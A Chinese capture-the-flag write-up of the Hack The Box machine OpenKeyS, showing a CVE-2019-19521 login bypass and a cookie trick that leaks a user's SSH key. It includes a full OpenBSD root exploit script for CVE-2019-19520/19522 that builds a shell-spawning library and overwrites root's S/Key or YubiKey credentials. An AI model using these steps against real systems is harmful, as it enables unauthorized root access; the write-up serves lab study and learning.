HTB-OpenKeyS

news2024/10/7 0:10:11

HTB-OpenKeyS

  • 信息收集
  • 80端口
  • 立足于Jennifer
  • Jennifer -> root

请添加图片描述

信息收集

在这里插入图片描述
在这里插入图片描述

80端口

在这里插入图片描述
对其进行简单的SQL注入测试和NoSQL注入测试后进行目录扫描。
在这里插入图片描述
在这里插入图片描述
auth.swp文件内容如下:

在这里插入图片描述
代码不是很完整,只能大致了解意思(请原谅我脑子抽了没注意是个swp交换文件)。

session_start();	//启动新会话或者重用现有会话
session_destroy();	//销毁一个会话中的全部数据
session_unset();	//释放所有的会话变量
{function close_session()} //定义一个名为close_session的函数,作用可能是关闭当前会话。
$_SESSION["username"] = $_REQUEST['username'];			//记录对话的用户名
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];	//记录对话的用户代理
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];		//记录对话的IP地址
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];	//记录对话最后一次激活的的请求时间
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];		//记录对话的登陆时间
$_SESSION["logged_in"] = True;			//对话登录
{function init_session()} } return False;//初始化对话
{ else } } return True;
$_SESSION['last_activity'] = $time;	//记录对话最后一次活跃时间
// Session is active, update last activity time and return True { else } return False;
close_session();					//关闭当前对话
{ ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity'])&& $time = $_SERVER['REQUEST_TIME'];
// Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start();
// Start the session $session_timeout = 300;
// Session timeout in seconds{function is_active_session()} return $retcode;
system($cmd, $retcode);	//执行cmd和cmd的参数
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);	//对字符串../auth_helpers/check_auth username password进行转义并赋给cmd变量
{function authenticate($username, $password)	//对username和password进行验证

在这里插入图片描述

不行,这样看不知道该怎么利用。使用wget下载下来。
在这里插入图片描述

使用vim -r auth.php.swp从swp文件中恢复,保存时候会出现问题,找不到路径。

在这里插入图片描述
创建一个路径就可以了。然后再vim -r auth.php.swp恢复,保存后就可以查看源码。并且通过file知道了此文件的用户是jennifer。
在这里插入图片描述

<?php

function authenticate($username, $password)
{
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
    system($cmd, $retcode);
    return $retcode;
}

function is_active_session()
{
    // Session timeout in seconds
    $session_timeout = 300;

    // Start the session
    session_start();

    // Is the user logged in? 
    if(isset($_SESSION["logged_in"]))
    {
        // Has the session expired?
        $time = $_SERVER['REQUEST_TIME'];
        if (isset($_SESSION['last_activity']) && 
            ($time - $_SESSION['last_activity']) > $session_timeout)
        {
            close_session();
            return False;
        }
        else
        {
            // Session is active, update last activity time and return True
            $_SESSION['last_activity'] = $time;
            return True;
        }
    }
    else
    {
        return False;
    }
}

function init_session()
{
    $_SESSION["logged_in"] = True;
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["username"] = $_REQUEST['username'];
}

function close_session()
{
    session_unset();
    session_destroy();
    session_start();
}


?>

突破口在escapeshellcmd,但是需要知道../auth_helpers/check_auth的内容是什么。访问http://10.10.10.199/../auth_helpers/check_auth后得到check_auth文件。
在这里插入图片描述
尝试对其逆向发现一个auth_userokay函数。
在这里插入图片描述

还有OpenBSD函数。
在这里插入图片描述
在OpenBSD manual找到了相应函数。
在这里插入图片描述
auth_userokay是一个用于验证用户的身份信息,匹配成功则返回非0,失败则返回0。
在这里插入图片描述
尝试对OpenDSB auth_userokay进行漏洞搜索。得知一个CVE:CVE-2019-19521,漏洞内容为验证身份绕过,网站链接。
在这里插入图片描述
在这里插入图片描述

尝试使用-schallenge作为用户名绕过。

在这里插入图片描述
成功了,但是暴露了个问题用户-schallenge没有OpenSSH的key,这个网站的功能应该是登陆后显示登录用户的OpenSSH key。
在这里插入图片描述

查看一下auth文件。
在这里插入图片描述

session会话的username是从HTTP的REQUEST方式获取,那这个登陆表单的username和这个会话的username是同一个么,如果是同一个那么password在什么地方?所以OpenDSB的auth_userokays的usernamesession会话的username是分开的,因为前者是POST,后者是REQUEST。会话的username是通过HTTP的REQUEST请求获取的。也就是说我们在登陆表单中输入的用户名也会被session获取并且存储。


破局:因为我们通过check_auth接触到了OpenDSB的auth_userokays函数,并且知道这个函数有一个以-schallenge来绕过验证的CVE,同时这个网站的session参数username也会通过我们登陆表单来获取。可能我们通过修改用户名绕过了auth_userokays函数,但是没有通过session的验证(可能因为-schallenge用户不存在),所以我们利用会话的username是$REQUEST($REQUEST包括从$GET$POST$_COOKIE三种方式获取值)在cookie中建立一个username并且名字等于Aster测试一下。

在这里插入图片描述
在这里插入图片描述

立足于Jennifer

测试成功。将username等于我们前面获取的jennifer。添加后Jennifer的OpenSSH私钥就暴露了。
在这里插入图片描述

在这里插入图片描述

Jennifer -> root

Jennifer属于wheel组。如果能找到Jennifer的密码就能够su提升权限。

并且根据系统版本找到了可能存在的提权漏洞。
在这里插入图片描述

在这里插入图片描述

继续回到前面给予我们帮助的网站。里面还有几个提权的CVE。

CVE-2019-19522,因为没有具有身份验证(auth组)而放弃。
在这里插入图片描述
CVE-2019-19519,条件是当前用户Jennifer要在wheel组,并且要知道Jennifer的密码。同样放弃。
在这里插入图片描述
CVE-2019-19520
在这里插入图片描述

根据CVE-2019-19520在网上找到一个脚本。

# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19520

echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)"

echo "[*] checking system ..."

if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; then
  echo "[*] system supports YubiKey authentication"
  target='yubikey'
elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; then
  echo "[*] system supports S/Key authentication"
  target='skey'
  if ! test -d /etc/skey/ ; then
    echo "[-] S/Key authentication enabled, but has not been initialized"
    exit 1
  fi
else
  echo "[-] system does not support S/Key / YubiKey authentication"
  exit 1
fi

echo "[*] id: `id`"

echo "[*] compiling ..."

cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
    gid_t rgid, egid, sgid;
    if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
    if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
rm -rf swrast_dri.c

echo "[*] running Xvfb ..."

display=":66"

env -i /usr/X11R6/bin/Xvfb $display -cc 0 &

echo "[*] testing for CVE-2019-19520 ..."

group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display)

if [ "$group" = "auth" ]; then
  echo "[+] success! we have auth group permissions"
else
  echo "[-] failed to acquire auth group permissions"
  exit 1
fi

# uncomment to drop to a shell with auth group permissions
#env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exit

echo
echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)."
echo
sleep 5

if [ "$target" = "skey" ]; then
  echo "[*] trying CVE-2019-19522 (S/Key) ..."
  echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: EGG LARD GROW HOG DRAG LAIN"
  env -i TERM=vt220 su -l -a skey
fi

if [ "$target" = "yubikey" ]; then
  echo "[*] trying CVE-2019-19522 (YubiKey) ..."
  echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
  rm -rf swrast_dri.so
  echo "Your password is: krkhgtuhdnjclrikikklulkldlutreul"
  env -i TERM=vt220 su -l -a yubikey
fi

在这里插入图片描述
通过脚本获得了密码输入密码。
在这里插入图片描述
PS:另外,在做任何操作的时候请务必小心,可能由于某个操作导致/tmp/.X11开头的那个目录还是文件的用户拥有组出现问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/499526.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

USB 连接检测

文章目录 连接检测连接状态的检测带 Vbus 检测功能的 USB 设备不带 Vbus 检测功能的 USB 设备 连接前的初始化设备端主机端 建立连接过程手册规定检测时间及电平标准 连接检测 USB 协议支持热插拔的特性决定了 USB 主机必须能够动态地检测 USB 设备的连接和断开&#xff0c;这…

linux【网络编程】之网络基础

linux【网络编程】之网络基础 一、网络协议与协议分层1.1 为什么要分层1.2 OSI七层模型1.3 TCP/IP五层(或四层)模型 二、网络传输流程2.1 了解局域网2.2 同一网段内的两台主机进行文件传输2.3 跨网段的主机的文件传输 三、数据包封装和分用四、网络中的地址管理4.1 IP地址4.2 M…

【Simulink】0基础入门教程 P1 搭建自己的第一个模型 实现加减乘除四则运算

目录 工作路径的设置&#xff1a; Simulink的两种打开方式 模块的基本操作 建立一个新的空白模型&#xff0c;创建模型 加减乘除模块的名称 模块之间连线的两种方法 显示模块 Display 搭建子系统subsystem 将加法模块Add更改为多输入模块 本文记录Simulink学习&#x…

[零刻]EQ12EQ12Pro调整风扇转速教程

调整 CPU 风扇转速可以有不同的用途&#xff0c;具体取决于您的计算机和使用情况。 降低噪音&#xff1a;如果您的风扇的噪音很大&#xff0c;可以通过降低 CPU 风扇的转速来减少噪音。这可以通过在 BIOS 或中设置 CPU 风扇转速控制来实现。 提高性能&#xff1a;如果您的计算…

OpenVINO 2022.3实战一:Window 10 环境下用 OpenVINO 2022.3部署yolov5 7.0

Window 10 环境下用 OpenVINO 2022.3部署yolov5_7.0 1 下载并解压 OpenVINO Runtime OpenVINO™ Runtime 2022.3 以压缩包 (OpenVINO Archives) 的形式提供。 下载地址&#xff1a; storage.openvinotoolkit.org 下载后解压到 C:\Intel\openvino_2022.3.0 配置环境&#xff…

5月5日 8H25min|5月6日 3H10min|时间轴复盘

7:30-8:00 起床洗漱吃饭 8:00-8:30 背书 【30min】 8:30-9:40 对话单词 【1h10min】 9:45-11:30 听力精听 【2h-15min】 11:30-12:10 吃午饭吃水果 12:10-12:50 继续吃饭之前没完成的 【40min】 13:00-14:30 健身 14:35-14:43 语法 【1…

asdfghasdfghjkl

PDL1检测&#xff1a; 肿瘤细胞高表达PD-L1分子&#xff0c;与肿瘤部位浸润T淋巴细胞表面的PD-1分子结合后&#xff0c;抑制T细胞活性&#xff0c;实现肿瘤的免疫逃避。而目前PD-1/PD-L1抑制剂均是检测PD-L1的表达。 目前在NSCLC治疗中&#xff0c;对于每个PD-1/PD-L1抑制剂&a…

【Hive大数据】Hive分区表与分桶表使用详解

目录 一、分区概念产生背景 二、分区表特点 三、分区表类型 3.1 单分区 3.2 多分区 四、动态分区与静态分区 4.1 静态分区【静态加载】 4.1.1 操作演示 4.2 多重分区 4.2.1 操作演示 4.3 分区数据动态加载 4.3.1 分区表数据加载 -- 动态分区 4.3.2 操作演示 五、…

mysql事务及搜索引擎

mysql事务后半部分 加快查询速度索引会自动排序&#xff0c;&#xff08;升序&#xff09; select * from t1&#xff1b;全盘扫描 where可以索引查找show create table 索引是一个排序的列表&#xff0c;包含字段值和相应行数据的物理地址 事务是一种机制&#xff0c;一个…

Misc小总结

Misc分类 个人认为Misc中的题目可分为七大类&#xff0c;图片隐写&#xff0c;音视频隐写&#xff0c;其它隐写(PPT、word文档等隐写)&#xff0c;压缩包破解&#xff0c;流量分析&#xff0c;取证&#xff0c;编码或密码。这里面涉及的知识点当然是很多的&#xff0c;有很多你…

大学毕业设计使用python制作

前言&#xff1a;相信看到这篇文章的小伙伴都或多或少有一些编程基础&#xff0c;懂得一些linux的基本命令了吧&#xff0c;本篇文章将带领大家服务器如何部署一个使用django框架开发的一个网站进行云服务器端的部署。 文章使用到的的工具 Python&#xff1a;一种编程语言&…

Python标准数据类型-字符串常用方法(上)【文末送书】

✅作者简介&#xff1a;CSDN内容合伙人、阿里云专家博主、51CTO专家博主、新星计划第三季python赛道Top1 &#x1f4c3;个人主页&#xff1a;hacker707的csdn博客 &#x1f525;系列专栏&#xff1a;零基础入门篇 &#x1f4ac;个人格言&#xff1a;不断的翻越一座又一座的高山…

经验总结:(Redis NoSQL数据库快速入门)

一、Nosql概述 为什么使用Nosql 1、单机Mysql时代 90年代,一个网站的访问量一般不会太大&#xff0c;单个数据库完全够用。随着用户增多&#xff0c;网站出现以下问题 数据量增加到一定程度&#xff0c;单机数据库就放不下了数据的索引&#xff08;B Tree&#xff09;,一个机…

【Linux】进程的终止,等待(不包含进程的程序替换)

信号的部分会在后面仔细讲&#xff0c;本文不涉及 目录 1.进程终止以及退出码的理解 2.进程退出 3.进程等待 1.进程终止以及退出码的理解 1.情况分类 &#xff08;1&#xff09;正常执行完 a.结果正确 b.结果不正确 反思为什么&#xff1f; &#xff08;2&#xff…

CesiumForUnreal去掉左下角的Ion Logo

文章目录 1.实现目标2.实现过程3.参考资料1.实现目标 记录一下使用CesiumForUnreal插件过程中如何清除左下角的Cesium Ion Logo,清除前后的对比截图如下所示。 原始样式去除后2.实现过程 记录一下实现的过程(含踩坑记录,可能有一点啰嗦)。 (1)首先看一下是哪个蓝图添加的…

【STM32CubeMX】F103窗口看门狗

前言 本文记录了我学习STM32CubeMX的过程&#xff0c;方便以后回忆。我们使用的开发板是基于STM32F103C6T6的。本章记录了窗口看门狗的使用配置。要学习的话&#xff0c;注意流程一说&#xff0c;省略的内容。 基础 窗口看门狗(WWDG)属于APB1上外设。窗口看门狗(WWDG)的时钟源…

【小结】git合并分支总结

首先理清以下几个关系&#xff1a; 1、git有本地库和远程库。 ①本地仓库&#xff1a;也就是电脑上存储的代码&#xff0c;本地代码&#xff0c;一般在某个盘中。 ②远程仓库&#xff1a;是云上的库&#xff0c;比如gitee,github等等。 2、分支&#xff1a;分为本地分支和远…

手机摄影(三)

第七章 构图&#xff0c;用光与色彩 构图的原则&#xff1a; 画面简洁 突出主体 陪体和主体&#xff1a;如果没有枯叶做前景&#xff0c;画面的空间感和深秋氛围会大打折扣。 看到一张你认为很美的照片时&#xff0c;要问自己几个问题&#xff1a; • 这张照片的主体是什么…

jvm之启动参数

写在前面 本文一起看下jvm启动参数相关内容&#xff0c;通过本文希望我自己也希望大家能够真正的应用到实际的工作中。 1&#xff1a;基本内容介绍 一般我们启动java程序有两种方式&#xff0c;一种是直接运行一个有main函数的class&#xff0c;第二种是运行一个在MANIFEST文…

安装mysql

1、环境&#xff08;虚拟机新安装的Redhat&#xff09;&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1jjdimuq-TrS8RASqGiU5Xg 提取码&#xff1a;2hef 2、检查系统是否已经安装了 MySQL rpm -aq | grep mysql 如果有旧版本就需要像下面卸载mariadb一样卸载掉。M…